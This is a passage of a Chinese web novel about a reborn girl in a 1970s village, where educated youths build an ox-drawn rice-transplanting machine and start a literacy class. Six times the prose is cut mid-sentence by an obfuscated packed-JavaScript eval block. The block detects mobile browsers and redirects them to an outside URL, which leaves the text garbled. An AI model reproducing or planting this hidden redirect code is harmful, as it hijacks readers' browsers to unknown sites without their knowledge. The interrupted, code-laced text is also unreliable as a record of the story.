夕阳下，姑侄俩的身影被拉的很长很长—— 钟家的晚饭吃的是凉拌马齿苋、酱焖小鲫鱼，陈显英用玉米面和着白面蒸了馒头，暄软又香甜。 鱼是从村里鱼塘里捞的，他们村的人这几年没少赚钱，塘里的鱼也不像过去，经常被人捞的一干二净。 村里还投了不少小鱼苗，家家户户想吃了，都可以随便去钓，就是不能撒网和下地笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585693|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，因为这是全村人共有的财产，几条 几条的抓没问题，一抓一大堆，那就是盗窃。 年底的时候，村里会把鱼塘里的水放干，把鱼抓了分掉。 这鱼村里人是用来送人，还是自家加工成咸鱼干，就没人管了。 家里在地里干活的三个劳动力还没回来，陈显英是先回来做饭的。 她把菜留了大半在灶房里，剩下的端出来给两个孩子吃。 孩子吃上了，她还得去地里记公分呢。 村里除了小孩子，其他人都得上工。 稍微大一点的孩子也会给村里干活，让陈显英给他们记一个两个的公分，这样年底分粮的时候也能多分点。 “小孩子不能吃鲫鱼。”看着眼巴巴望着盆里鲫鱼的钟新澄，陈显英给他舀了两勺鱼汤，就把鱼挪到离他最远的地方去了。 “那姑姑为什么可以吃？”钟新澄不服气。对肉食的渴望，已经战胜了他对钟莹莹的害怕。 “你姑姑是大孩子了，大孩子是能吃鱼的。”陈显英腹诽，也不知道随了谁了，这姑侄俩一个比一个馋。 “你吃鸡蛋，奶奶特意给你煮的。”说着递给钟新澄一个剥好的鸡蛋。 “那好吧。”钟新澄撇撇嘴，有些委屈，不敢说。 这熊孩子其实老实的时候也挺可爱的，不老实的时候……那还是打一顿比较好。 就说老楚那傻儿子，因为媳妇儿不能生了，老楚可是把那儿子当宝贝。 要是万一真出了什么事，老楚能来他们家拼命。 到时候是把钟新澄交出去呢？还是不交呢？ 不交就得大人承担这件事情，把人孩子搞没了，两家斗起来非得死一个不可。 把钟新澄交出去？自家孩子谁舍得。 别看钟莹莹天天动不动就揍他，但真要到那一步，最舍不得的也是她。 陈显英刚走，钟家就有人上门了。 “你好，家里有人吗？” 钟莹莹对这个声音还有些印象，是今天新来的知青。 29. 第 29 章 “谁啊。”钟新澄一口吃完手里的馒头，一蹦一跳的就去给人开了门。 “不好意思打扰了，我是今天新来的知青，想问你们借点柴火。”吴老婆子家空空如也，除了几张村长放进去的竹床，啥也没有。 他们累了一天过来，吃饭可以凑合着吃点包袱里的点心，但是不能喝生水啊，身上一身汗也得洗洗澡，尤其队伍里面还有女同志，还是讲究点好。 再加上明天也不能天天吃点心，明天上工了还是得吃饭。 村长给他们支了粮食，等年底分粮的时候再扣掉这部分。 村里人这个点都在地里，他之前见钟家有人回来了，就想着来这家先借点东西，没想到还是来晚了一步，大人走了，家里只剩下两个孩子。 “外面柴火堆你自己扯就行，等到你们有了再还回来。”钟莹莹很爽快的答应了，这年头柴火也是自己一点点收集回来的，不可能白白送人。 “谢谢。” “我能再借一个筐子吗？”周岱有些不好意思，自己啥都要借。 “喏，给你。”钟新澄从屋里拖出一个旧竹筐，递给周岱。 周岱接过之后，从口袋里掏出几颗已经有点融化了的水果糖递给姐弟俩，然后拎着竹筐扯柴火去了。 钟莹莹看着手里的糖，心里想，这知青也不像那些小说里面写的，动不动就搞事啊，还挺有礼貌的。 第二天钟莹莹也跟着下了地插秧，不管能干多少活，都不能闲着，不然会有人说闲话。 插秧其实不难，用拇指和无名指夹住秧苗根系上端，然后摁进泥土里，让秧苗垂直立在泥里就行。 钟莹莹这活干了好几年，手上的动作已是非常熟练。 手指在水里一上一下，一颗秧苗就已经稳稳的屹立在土地中。 偶然碰见有不长眼的蚂蝗想要吸她的血，她也能面不改色的用秧苗将蚂蝗挑走，扔到远一点的地方去。 原先药房收蚂蝗，他们还抓这些东西，现在没人收了，都是直接扔到看不见的地方去。 蚂蝗又捏不死，用石头砸都得砸好久，想要快速处理掉，就只能用盐，谁家也没有这么多的盐去糟蹋。 钟莹莹不在家的时候，大人干活钟新澄就四处跑着玩，现在钟莹莹回来了，怕他继续欺负隔壁家傻孩子，给他拘着也下地干了活。 他人小，插秧不稳，就拎着秧苗到处撒，半天下去，竟真让他丢了不少。 像他这般大的孩子，一般干一天，也就只给一个公分。 钟莹莹一边插秧，一边起身望一下自己已经插好的秧苗，沉浸在自己的杰作当中。 知青五人组由于刚到，村里人觉得他们干不好活，就给他们安排在了孩子边上，意思是能干多少干多少，总不能连几个孩子都不如。 “啊~有蚂蝗……”知青组那边突然传来惊叫声。 是一个男生，钟莹莹记得他叫什么，徐超。 此刻他正在疯狂甩动手臂，上蹿下跳，企图将牢牢吸附在他胳膊上的正在蠕动着吸血的生物拽下来。 “不要拽，越拽越紧，你拍一拍胳膊，它自己就掉下来了。”钟莹莹好心提供解决办法。 陷入癫狂的徐超却顾不得这些，还在一门心思的疯狂甩动胳膊。 最后是周岱给人强行控制停住，用力拍打他的胳膊，给蚂蝗拍下来了。 “呼~这也太可怕了~”李莉莉有点想流泪，她是四人组里唯一的女生，昨天一到就开始想家，今天更想了。 “有没有什么办法能不用下田就把秧给插上啊。”孙伟感慨道。 在家里他们何时干过这种活，要不是头脑一热，说是要报效祖国，报名了下乡，哪里需要吃这苦。 “周岱，你是学机械的，这玩意能做吗？”张强眼睛里写满了渴望，他真的不想插秧啊。 夏天的空气又闷又热，头顶的太阳照到人身上，皮肤火辣辣的。 全身的毛孔都在冒汗，唯一清凉一点的地方，就是脚下的泥水。 可是水里有虫子啊，还是会咬人的蚂蝗。 光滑无毛，会蠕动，吸住人就拽不下来，要是不注意，不知道会不会钻进人的皮肤里去，然后在肉里产卵孵化，最后一整个人皮下全身蚂蝗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585694|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张强被自己的想象给吓到了。 以前他就听说过，有人吃了没煮熟的河蚌，身上寄生的全是蚂蝗，家里人喊他他没声音，一拍他肩膀，他头就掉了，断掉的脑袋里面全身密密麻麻蠕动的蚂蝗。 他想回家，他不想干了。 “不知道。”周岱也很累。 “收工可以试一下，大家一起想办法。”他来下乡不是来种田的，是真真切切抱着想在农村做出一番事业来的。 农民世世代代都在种地，随便哪一个甚至拎出来一个孩子都要比他们种的好，那为什么还要他们这些人下乡呢？当然是为了互补，农民有实践没知识，他们空有知识，没实践。 他们的强项在于他们的文化，他们有知识。知识能改变命运，将知识传授给农民，提高他们的生产效率，才是他们该做的。 知青组的事情提醒到了钟莹莹，想要不下田插秧还真有办法，做一个畜力牵引插秧机就行。 前世的村子里就用过这玩意，她记得大概的雏形，让她去造却是造不出来的。 如果这群知青是干实事的，到时候可以提醒一下，给他们指引一个方向。 她记得，那玩意好像有个牵引架，还有个轮子，秧苗箱，还有个分秧器，前几个貌似都挺简单的，最后一个是啥样的来着…… “哈哈哈~姑姑~你看他们像不像大傻子~”钟新澄跳进田里，水花四溅，溅了钟莹莹一身泥水。 他才五岁，都不怕那玩意了，还大人呢，真丢脸。 钟莹莹被熊孩子给打断思路，在衣服上擦擦手，抹掉脸上的泥水，脸上露出阴测测的笑容，零桢起手，抬手就是一巴掌拍人屁股上了。 “谁让你往水里跳的，啊~，咱俩衣服裤子弄的都是泥，今天回家我给你娘说，非得让你自己洗衣服。” “还嘲笑人家，一点礼貌都没有，昨天还说自己要当好孩子呢，今天又忘了？” 钟新澄笑不出来了，现在他直想哭，昨天刚挨了揍，怎么今天他又忘了呢？他姑姑不是好惹的。 姑姑啥时候开学啊，他有点怀念姑姑不在的时候了。 30. 第 30 章 “木木又干什么了？”钟明月下了工回来，就见钟新澄撅着个小屁股，蹲在哪里洗衣服。 小嘴巴也撅着，一看就知道是被罚了。 “我插秧，他玩跳水坑，溅我一身水。”钟莹莹先声夺人的告状。 钟明月一边用清水冲洗身上的泥巴，一边忍俊不禁：“那是该罚。” 这俩孩子可有意思了，小的那个像个皮猴子，不管能上天。 她和钟绍华没有带娃的经验，钟莹莹小时候很乖，还是第一次遇见这样的。 陈显英和钟伟先又对这唯一的大孙子尤为溺爱，这孩子可不就被娇惯的无法无天。 偏生钟莹莹爱管着他，一物降一物，钟新澄被盯的死死的。 陈显英和钟伟先想要劝说，但小女儿大孙子，偏帮哪一个都不好，索性也放开手不管了。 而且小女儿的管教是很有效果的，每次她放假的时候，都是大孙子最讲礼貌，最懂文明的时候。 至于钟新澄之前玩死那些昆虫，陈显英只当作小孩子调皮。 最严重的也就只有那次骗楚家小傻子，跳水，让钟莹莹给大揍一顿，柳条都打折好几根。 他们也不敢管，属实是他太过分，那水边是能随便去的吗？ 渐渐地，钟新澄的教育就全部移交到了钟莹莹身上，大人只能在边上看着。 邻居看见也只会夸一句：“嘿，莹莹这小丫头厉害啊~不亏是书读的那么好，还能教育侄子了，以后指定是当大学生的料。” “那几个知青还不错，今天第一天干活都赶上咱家莹莹了。”钟伟先一边喝稀饭，一边感慨道。 陈显英没好气的白了他一眼：“跟孩子比还叫不错啊？” “起码态度是端正的，没有偷奸耍滑头。” “也确实。” 虽然干活的速度慢，中间还出了很多小插曲。 但是每一个秧苗都是认认真真插进地里的。 “听说他们要搞那什么插秧机？文化人就是不一样。”钟绍华又开始感慨了，要是他当年好好读书，是不是也有机会考大学。 考上大学，是不是也能有那么高的学问，会做机器。 “做不做的成还不一定呢。咱乡下啥都没有，拿什么做？”钟伟先不是很看好他们。 钟莹莹一边扒饭，一边听家里人闲聊，听到这里，她忍不住插嘴：“能做的，搞个机器不就行了吗？把东西绑在牛身上，让牛拉着往前走，一边走一边插秧。” “你还挺懂，书没白读啊！”钟伟先只当是孩子的异想天开，并没有放在心上。 知青院里也挺忙，下了工没人做饭，又是拿包袱里的肉干点心对付一顿。 “这样下去不行啊，我们不能天天这样吃。”徐超受不了了，来这两天，一顿正经饭都没吃着。 “要不，我们轮流做饭？”周岱提议道。 “我觉得可以。”李莉莉十分赞同。 最后定下一人一天，轮着来。 “今天那个插秧机，你们什么想法，说出来我们集思广益一下。”周岱率先发言。 “我觉得吧，这个机器得做成可以手动操作的，这里也没电，电动的也使不了。” “烧油的，这边人也用不起。” “对，是得这样。” “最好是用牛或者骡子拉的那种。” 几个人七嘴八舌的讨论着。 最后周岱总结了一下，画了一个草图出来，但总感觉哪里不对，按照那个图上的，也就是把站着插秧改成了坐在牛车上由牛拉着插秧。 还是得人跟着一起下地，并没有省力到哪去。 吃完饭，他去钟家还筐子还在想这件事。 昨天借了柴和筐，有点不够用，钟伟先让他多扯几筐回去，免得借来借去。 等插秧季结束，他们以后用柴，去沟边割些杂草，在外面晒干，拿回去烧就行。 夏天这边捡不到树枝树叶，等到秋天才能捡小树枝，拿钉耙搂树叶子。 到时候收了粮，稻杆也是很好的生火材料，干活的人家都能分。 他们这没山，没法砍柴，村里的树也不是私人能随随便便砍的。 平常做饭只能烧秸秆或者小树枝树叶啥的。 “哥哥，你们能做出来插秧机吗？”钟新澄记吃不记打，又凑到周岱面前去。 “不知道，正在想呢。”周岱也很实诚，问啥答啥。 “你们想到哪里了啊？”钟莹莹想知道进度，然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585695|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看能不能提醒两句。 “我们想的是做个机器，秧苗放在上面，牛拉着走，边走边插秧” “人手动插？”钟莹莹疑惑，这叫什么插秧机？ “也不对，是想做个机器自动插来着，但是具体还不知道怎么做。”周岱陷入迷茫。 学校也没教他们如何自己创造机器。 钟莹莹状似天真的提起：“跟着轱辘转，一上一下，是不是就可以自动了啊？” 跟着轱辘转？一上一下？周岱悟了。 做个行走轮和秧苗箱，然后通过旋转或者摆动，将秧苗分离成单株，再加上个插秧爪，控制深度，最后做个浮板，跟着泥水深度浮动，再加个导向尾轮，防止机身侧向偏移。 这简直不要太完美了。 想法已经有了，他要抓紧回去把图纸绘制出来，然后找村长要零件，尽快把东西做出来。 这样就不用再下地插秧了。 “谢谢你啊，小妹妹。”周岱走的很急，他已经迫不及待了。 插秧机作为他的首秀作品，以后拿回学校，一定能让老师大吃一惊。 这才是真正的从群众中来，到群众中去。 钟莹莹深藏功与名。 这些知青在他们这做出东西来，受益的是他们村的人。 钟莹莹自然想尽最大的可能给予知青帮助，同时也是最大程度的利用这些知青的价值，而不是让他们白白的把时间浪费在再怎么努力，也就那样的农活中。 死劫已过，钟莹莹不仅想要家人活着，还想要他们一天比一天过得好。 钟新澄那个小崽子还是要继续再教育的，性子还没彻底稳定，大棒加大枣，慢慢调教，钟莹莹相信，会好的。 读了初中之后，钟莹莹在村里大小也算个文化人。 过年的春联现在都是她执笔，她爹退位让贤了。 村长虽然跟着镇上的扫盲学习班学习了一段时间，字识了不少，但是，到底没经过系统的学习。 在真正的文化人面前，还是显得有些胆怯。 当几个知青去村长那里要资金和材料，说是要做插秧机时，他拿不定主意，又来找钟伟先了，他爷爷说了，多听钟家人的话，他是贯彻他爷爷的指令。 31. 第 31 章 “图纸都画好了？”钟伟先很惊讶。 原本以为这群年轻人就是随口一说，没想到动作这般快。 看着村长递过来的图纸，上面精细到零件的尺寸都标的很清楚，钟伟先大致能看懂一些，还真有些搞头。 “我觉得能干。”钟伟先肯定道。 “那我就从村里的账上给他们支钱了，零件有点麻烦，村里也没有，得去农机站领，人家不一定愿意给。”这年头，有钱也不好办事。 “看看还有没有别的办法吧，真要造出来了，咱们村肯定能拿一年的先进。”前几年的先进都让吴家村拿了，那个窑厂产值，拍马也赶不上。 村长去农机站找人，果然碰了一鼻子灰。 没办法，几个知青决定是废品站碰碰运气，村长给拿了钱。 木头什么的都好找，村里有，关键的零件，轴承，必须得是金属的，木制的磨损的很快，用不了几次，就得换新的。 几个知青请假两天去废品站淘宝，钟莹莹带着好大侄跟着蹭上车，熊孩子好几天没作妖，说好的奖励该给了。 破旧的废品站，简直像一个巨大的垃圾场，断裂的车轮、废弃的铁片、铁丝、还有汽水瓶盖、烂木头…… 钟新澄在里面玩嗨了，这里扒拉扒拉，那里扒拉扒拉，感觉这个也好玩，那个也好玩，全都是新鲜玩意儿。 把一开始的要去供销社买吃的，给忘到九霄云外去。 周岱挑了很多铁制品，其中就有几个生锈的轴承，样子不大好看，修整一下应该还能使用。 他们只要能验证图纸的正确性，就可以向上审批材料，不用到处求爷爷告奶奶的，还被人拒绝。 钟莹莹淘了一大堆的旧书，不是什么违禁物品，就是纯粹的旧书，别人家不要了清理出来的。 她家她之前上学的书本和卷子都留的好好的，等到钟新澄上学，就不用买了，可以直接用她的，省下一笔课本费。 这小崽子，也该上学了，就从这个暑假开始，给他补课，多补点，等到开学发现老师讲过的，都是学过的，也不会对上学再那么排斥。 在回去之前，钟莹莹还是带着钟新澄去供销社买了两瓶汽水，还有一大包板栗糕。 钱是陈显英给的，平常她上学，兜里揣的生活费也不少，没花完的都攒着呢。点心票是和知青换的。 给孩子乐的都快找不着北了，那小嘴比蜜还甜，一口一个：“姑姑，等我长大会好好孝顺你的。” 缺牙的笑容，一点看不出前世的阴狠毒辣。 还记得上辈子，由于他家邻居在自家院子里的房子后墙处开了个窗户，正对着钟新澄家，这家伙表面祥和，私底下请人埋了剪刀动了邻居风水，还在人家祖坟搞破坏，那个邻居没两年就得癌症了。 钟新澄之前和这个邻居关系很好，因为他造房子的时候，地基不够大，邻居给他让了将近一米多的地基。就算如此，邻居一侵犯到他的‘利益’后，他也立马翻脸不认人。 钟莹莹觉得自己不能放松警惕，小崽子表现的再可爱都不行，教化之路，任重而道远。 回到家之后，姑慈侄孝立马就变了。 “木木，这个字怎么念？我刚刚教过你的。”怪不得当老师秃头快，谁教孩子功课谁懂啊，教十遍都记不住，还给你嬉皮笑脸。 什么快乐教育，快乐不了一点。 还是大棒加大枣比较实在一点。 不认真学习，挨了一顿手板的钟新澄在角落里哭泣，抽抽嗒嗒的好不可怜。 钟莹莹决定放过自己，也放过他，自己就不适合教学。 还是请人来教吧。 那群知青就挺合适。 镇上的扫盲班，只是让村干部过去听讲，他们村现在除了村长，还有各家的孩子，大部分的成人，还是文盲。 知青干活不行，扫盲应该能行。 办了扫盲班，把小崽子送进去，先认得两个字再说。 秧田还没插完，扫盲班的事不急于一时，现在开办，村里人也没心情参加。劳作了一整天，回家只想吃了饭洗了澡睡大觉。 那几个知青也就刚来，等时间久了，天天干活，迟早会被磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585696|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平锐气，变得像村民一样麻木，得让他们一直保持激情，才能给村里创造更大的价值。 …… “看，这几个小年轻又在倒腾那插秧机。” “也不知道胡闹个什么？” “对啊，咱们活了这么多年，也没见过能自动插秧的机器啊~” “村长也陪着他们胡闹，可怜伟先家那头老黄牛了~” 自制的简易插秧机在田里一次又一次的散架，重组，老黄牛也累的闹脾气，蹄子一撂，不干了。 “咱们真的能行吗？”徐超已经开始自我怀疑，失败太多次，他没信心了。 “一定能行，这不快要成功了吗？”李莉莉捏紧拳头给自己打气。 做出成就，他们就能带着功绩回城。 做不出来，灰头土脸的回城，她做不到。 “等成功了，我要投稿给报社。”李莉莉一脸向往，虽然创造者不是她，但是她也帮忙干了很多后勤工作，参与感很足。 她是汉语言专业的，对于机械可以说一窍不通，凭借着一腔热血，报名下乡。 枪杆子不行，笔杆子行。 等登报了，家里人都能看见，一定会以她为荣的。 “那到时候记得多夸夸我们，也让我们长长脸。”孙伟不想打击她，跟着打趣道。 周岱没心思和他们闲扯，满门心思在机器上，一次次的失败，现在只剩下插秧爪上的问题，这部分由曲柄连杆控制，上下插入泥土，插入后自动张开释放秧苗。 他们的插秧爪插入泥土后，释放秧苗后该拔出来了，有时会把已经插好的秧苗给连带出来，相当于白费功夫。 到底为什么呢？ 钟莹莹知道啊，形状不对，前世的插秧爪，是那种鸭嘴式的设计，一张一合，不会有夹带风险。 周岱用的是圆锥式的，插进泥土很方便，拔出来也很方便，怎么插的怎么拔出来，秧苗自然也跟着一块带出来了。 不能直接说，怎么能提醒他呢？ 看着村里在鱼塘里嘎嘎乱叫的鸭子，钟莹莹心生一计。 32. 第 32 章 钟莹莹决定亲自下场了。 再等着他一个个的试，估计插秧季都过去了他也做不出个成果来。 虽然说实验需要时间，但是他们缺的就是时间，既然有条件能缩短研究时长，为何不做呢？ “木木，想吃鸭子不？”钟莹莹拍拍好大侄的肩膀，嘴角露出一丝不怀好意的笑容。 “想。”酸萝卜老鸭汤，鲜的人流口水。 “那你去抓个鸭子，我让娘给你做。” “真的？”钟新澄吸溜一口嘴里快要溢出来的口水。 “真的。”钟莹莹肯定道。 “那我去了，姑姑你不要骗我哦。” 说完，小胖屁股一扭一扭的就赶鸭子去了。 天色有点晚，鸭子都从鱼塘李爬上来，正往家里走呢。 钟新澄这么一闹，顿时鸭飞鸭跳。 小鸭子跑的到处都是。 知青们折腾的那块试验田里也跑进去几只。 钟新澄不想下水，转而又去追其他鸭子了。 跑进稻田的鸭子，见风平浪静，竟然低头开始啄食知青们没成功种植的幼嫩秧苗。 “走开，死鸭子。”孙伟怒斥道。 好不容易问村民要来的秧苗，试验还没弄明白呢，可不能让这鸭子给吃了。 鸭子？看着鸭子不断啄食秧苗。 周岱忽然灵机一动，他知道失败在哪里了。 顾不得同伴，他飞奔回知青院，取出几块竹子就开始用刻刀削，没几下就锉出来自己想要的形状，然后又迅速返回地里。 “你干嘛去了？刚刚叫你也不应。”这人简直是着了魔了。 “我知道该怎么改了，你看。” 周岱将圆锥形的插秧爪给取下来，把自己刚做的新的插秧爪给按上去，然后在秧苗箱里放上秧苗，挥鞭赶牛。 随着牛前进的脚步，轮轴不断的转动，秧苗被一颗颗牢固的插在泥土里，再也没有出现像之前那样，随着插秧爪，被插进去，拔出来。 “我们成功了？” “你也太厉害了吧！”孙伟简直不敢置信，他们这插秧机还真成功了。 “快，多放点秧苗，测试一下效率。” 随着老黄牛的不断行进，他们大概估测了一下，一个小时约莫能插将近一亩的田。 这可是一个非常了不得的数据了。 要知道，一个熟练的老农插一亩田，也得要接近两天的时间。 现在只要一头牛，一个插秧机，算上牛的休息时间，一天下来，起码能插五亩地。 就算全村人都闲着，仅仅靠一头牛，半个月的时间，也能把所有地的秧都给插完了。 “快去找村长。”徐超喜不自胜，立马就要去报喜。 李莉莉也高兴的很，她的文章早早的就写好了，就等着周岱成功了，她去镇上邮寄投稿呢。 “真的成功了啊？”村里好多人都不相信。 等到真的见过老黄牛种的地，他们服了。 并发自内心的感概，文化人和文盲就算不一样，要是照他们，打死也做不出这插秧机来。 得知周岱终于把插秧机做出来，钟莹莹松了一口气，再想不明白，她真的要去当面点明了。 她只想当一个普通人，出风头的事情还是交给别人去做吧。 钟家的晚饭吃的是酸萝卜老鸭汤，钟新澄没抓到鸭子，但是可怜的鸭子在回到家后，还是被宰了一只。 满满一大锅鸭子汤，钟伟先分了半锅送到知青院去。人家辛辛苦苦给自己村做贡献，总不能让人白忙活。 村里之前那些说闲话的人，不约而同也送了吃食过去。 他们也想用那插秧机，有更方便的东西，谁还愿意自己蹲那一颗颗插啊，腰都要累断了。 “嗬~这是什么好日子，鸡鱼肉蛋全都有了！”张强忍不住感概道。 想当初，他们刚来钟家岗的时候，连把柴火都得去借。 现在却是翻身农奴把歌唱了。 破烂的小桌上，有酸萝卜老鸭汤，有红烧鲫鱼，有炒鸡蛋，有蒸腊肉，连小菜都给准备好了，钟家岗特产，泡椒笋片，还有人送了香喷喷的大米饭。 “同志们，我要开动了。”李莉莉端着碗，脸上满是笑容。 下乡真好啊，有这么多好吃的。 她已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585697|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘记前几天还在质问自己，为什么头脑发热报名下乡了。 五个人在一块吃吃喝喝，好不快乐。 这一顿是他们从小到大，吃过的最满足的一顿饭。 即使可能不如家里的精致，但是里面的心意却让他们感动。 这还是他们第一次凭借着自己的努力，获得到的别人的认同。好吧，大部分还是凭借着周岱的专业知识。 接下来的时间里，周岱用之前从废品站搞来的材料，又做了一个插秧机。 村里只有一头牛，这个插秧机就只能用人力来拉。 两三个人拉一个机器，中间累了再换一批人。 饶是如此，钟家岗的插秧速度，也远远甩其他村子一大截。 插完秧，村长大手一挥，让陈显英给知青们全部登记成了满公分，就连刚来那几天的仨瓜俩枣，都改记成了满公分。 无人反对。 李莉莉的投稿已经寄到了报社，为了能有更大的概率被选中，她几乎投了所有她知道的报刊杂志。 村长在村子里的秧苗插的七七八八的时候，就把知青发明了插秧机的事情上报了，镇上来人考察了一下，带走了一台机器。说是拿到上面，进行研究，之后会有奖励发给知青还有钟家岗。 附近村子的人知道这件事后，纷纷过来借用钟家岗的插秧机。 窑厂的人拿砖头抵账，自己出零件，让知青们给他们做了一个。 其他村子的没有这般大气，就轮流过来借着用。 这个夏天，可以说是他们度过的最愉悦的一个插秧季。 只需要搬个小板凳坐在秧母田里把秧苗拔出来，放到插秧机里，老黄牛就能拖着插秧机自动插秧，再也没有比这更美好的事情了。 插秧的事告一段落，钟莹莹开始琢磨起扫盲班的事。 闲着也是闲着，钟莹莹只想说，都给我卷起来。 少壮不努力，老大贫困县。 都姓钟，不能有一个拖后腿的。 现在大家正是对这几个知青充满好感的时候，此时不提，更待何时。 和记公分一样，办扫盲班的事，全村全票投票通过。 33. 第 33 章 第一节课教的就是通用字。 村里人不多，基本上能来的都来了，傍晚在晒谷场上支了一块小黑板，一个字一个字的教学。 第一个学的就是‘钟’字，金字旁，加上中正的中。 “这个字的寓意很好，可以组成钟表、钟一等词，还有人知道其他词的吗？”李莉莉声音很柔和，耐心引导。 “我知道，红中的中。” “哈哈哈哈……” 众人一阵哄笑。 以前村里人闲了爱打麻将和叶子牌，这两年不允许玩那个了。 “红中的中和钟家岗的钟不是同一个，你看啊……”说着李莉莉拿起粉笔在黑板上一笔一划的写出两个字。 “钟家岗的钟，有偏旁，红中的中没有。” “原来是这样。” “那小李老师，你给讲讲，我们的名字该怎么写？” 村里有啥事，需要签字的，因为不识字，他们都是按手印。 还有个顺口溜“豆粒当工账本，看信满庄跑，生产老一套，书报无人望。” 随着识字的人越来越多，按手印就显得有点老土。 以前是没钱上学，现在有人给免费扫盲，占便宜的事，还有啥不满意的。 他们拿着孩子的作业纸，让李莉莉把他们的名字分别给写在纸上，回家后在地上用手指一笔一划的练习。 “嗬……我也能会写自己的名字。” “俺也识字了！” 老楚家的孩子，楚天宝也被带到的课堂上。 那孩子虽然脑子不太好，但是上课的时候安静的很。 李莉莉讲课他就在下面玩手指，听不听的懂不知道，乖是很乖的。 楚琳琳不上学了，就像他的小跟班，弟弟走到哪里跟到哪里。 钟莹莹也很感慨，这孩子上辈子是没了的，也不知道强行留下他是对是错。 但是转念一想，自家爹娘现在都活得好好的，人定胜天，没有什么是不能改变的。 她细细的观察了一下，这孩子好像并不是完全傻的。 起码他知道自己吃饭，上厕所。 就是动作比别人慢个五六七八个拍，有点跟不上节奏。 细心调教一下，生活自理应该没问题。 村里一片欣欣向荣的景象。 芦苇荡那边的地，又要种大豆了。 村里人都围着知青，问有没有能将大豆也自动播种的。 还真的有，且技术含量没有水下插秧那么高。 这次没用钟莹莹提醒，周岱就造出了播种机。 翻好的地，在细耕的时候，从耕地的螺旋桨处将豆种漏下去，避免了人工撒种的繁琐。 经此一战，知青们彻底稳定了在村里的地位。 钟新澄最近老往知青院跑。 这孩子要是想讨好谁，嘴甜的不得了，知青院的知青一个个都沦陷了。 胖嘟嘟、肉乎乎的小娃娃，扬起小脸，乖乖的喊：“哥哥、姐姐。” 还会帮人干活。 任谁都想捏捏他的小脸蛋，再给他的小裤兜里塞一把糖果。 他最黏的是周岱。 在他看来，周岱很厉害，做出了很多村里没有的东西，还会用锉刀做竹蜻蜓给他玩。 他也想跟着他学做这些有意思的东西。 他不喜欢读书，也不喜欢学习，但是动手组装东西，过家家那可太有意思了。 “哥哥，你怎么这么厉害，啥都会吖？”钟新澄一脸崇拜的望着周岱。 “哥哥在大学跟老师学的。” “等你上学了，也要认真学习，认真学习才能考上大学。”周岱没有停下手中的活计，这都是附近几个村子委托他做的，不能买卖，他们就通过发奖金来给知青送钱。 另外四个人没有周岱的专业技能，只能帮着打下手，给递工具，清理垃圾，送水，帮忙依葫芦画瓢，组装比较简单的零件。 插秧机送上去之后，县里就给了很多之前要不来的金属零件。 他琢磨着用这些东西再造些别的东西出来。 乡下的生活实在是太苦了。 晚上天一黑就要睡觉，没有电灯，也没通电。 想找点光亮，只有天上的月亮，抑或是煤油灯和蜡烛。 钟家岗的生活要好过一点，大坝对面的黄家岗才是真的惨，每逢下大雨，雨水都能渗进屋子里去。 倘若是连绵不断的雨，那更是整村都要撤离。 年年如此，运气好了，地里的作物收上来，能有点收获，运气不好，那就是颗粒无收。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 